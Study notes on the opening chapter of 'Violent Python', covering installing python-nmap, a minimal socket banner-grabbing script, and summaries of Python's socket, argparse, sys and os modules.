## 𝐕𝐢𝐨𝐥𝐞𝐧𝐭 𝐏𝐲𝐭𝐡𝐨𝐧 336 | 337 | #### • Installing a Library 338 | 339 | ``` 340 | $ pip install python-nmap 341 | Collecting python-nmap 342 | Downloading python-nmap-0.7.1.tar.gz (44 kB) 343 | ---------------------------------------- 44.4/44.4 KB 1.1 MB/s eta 0:00:00 344 | Preparing metadata (setup.py) ... done 345 | Using legacy 'setup.py install' for python-nmap, since package 'wheel' is not installed. 346 | Installing collected packages: python-nmap 347 | Running setup.py install for python-nmap ... done 348 | Successfully installed python-nmap-0.7.1 349 | 350 | ``` 351 | 352 | #### • Banner Grabbing Script 353 | 354 | ``` 355 | import socket 356 | 357 | socket.setdefaulttimeout(2) 358 | 359 | s = socket.socket() 360 | s.connect(("8.8.8.8", 80)) 361 | 362 | ans = s.recv(1024) 363 | print(ans) 364 | 365 | ``` 366 | 367 | - `socket` module provides a library for making network connection 368 | - then we create an instance of variable `s` from class `socket` 369 | - we use the `connect()` method to make a network connection to the IP address and port. 370 | - we use `recv(1024)` method to read the next 1024 bytes on the socket 371 | 372 | ## 𝐌𝐨𝐝𝐮𝐥𝐞𝐬 373 | 374 | 375 | #### • socket module 376 | - `socket` : The socket module provides a library for making network connections using Python. 377 | 378 | > - `socket.gethostbyname(hostname)` - This function takes a hostname such as www.syngress.com and returns an IPv4 address format such as 69.163.177.2 379 | > - `socket.gethostbyaddr(ip address)` - This funciton returns a triple (hostname, aliaslist, ipaddrlist) i.e. a hostname, alternative list of host names, and a list of IPv4/v6 addresses for the same interface on the host. 380 | > - `socket.socket([family[, type[, proto]]])` - This function creates an instance of a new socket given the family. Options for the socket family are AF_INET< AF_INET6, or AF_UNIX. Additionally, the socket can be specified as SOCK_STREAM for a TCP socket or SOCK_DGRAM for a UDF socket. Finally, the protocol number is usually zero and is omitted in mmost cases. 381 | > - `socket.create_connection(address[, timeout[, source_address]])` - This function takes a 2-tuple (host, port) and returns an instandce of a network socket. Additionally, it has the opiton of taking a timeout and source address. 382 | 383 | --- 384 | 385 | #### • argparse module 386 | - `argparse`: The argparse module makes it easy to write user-friendly command-line interfaces. 387 | 388 | > - Creating a parser: 389 | > 390 | > The first step in using the `argparse` is creating an `ArgumentParser` object: 391 | > ``` 392 | > parser = argparse.ArgumentParser(description="Process some intergers.") 393 | > ``` 394 | > 395 | > - Adding Arguments 396 | > 397 | > Arguments are added using `add_argument()` and this information is stored and used when `parse_args()` is called. 398 | > ``` 399 | > parser.add_argument('integers', metavar='N', type=int, nargs='+', 400 | > help='an integer for the accumulator') 401 | > parser.add_argument('--sum', dest='accumulate', action='store_const', 402 | > const=sum, default=max, help='sum the integers (default: find the max)') 403 | > ``` 404 | > - Parsing arguments 405 | > 406 | > `ArgumentParser` parses arguments through the `parse_args()` method. 407 | > ``` 408 | > parser.parse_args(['--sum', '7', '-1', '42']) 409 | > ``` 410 | > In a script, `parse_args()` will typically be called with no arguments, and the `ArgumentParser` will automatically determine the command-line arguments arguments from `sys.argv`. 411 | > 412 | > 413 | - More: https://docs.python.org/3/library/argparse.html 414 | - Argparse Tutorial: https://docs.python.org/3/howto/argparse.html#id1 415 | 416 | --- 417 | 418 | 419 | - `sys` : The built-in sys module provides access to objects used or maintained by the Python interpreter. This includes flags, version, max sizes of integers, available modules, path hooks, location of standard error/in/out, and command line arguments called by the interpreter. 420 | - `os` : This module allows the program to independently interact with the OS environment, file-system, user database, and permissions. 421 | --------------------------------------------------------------------------------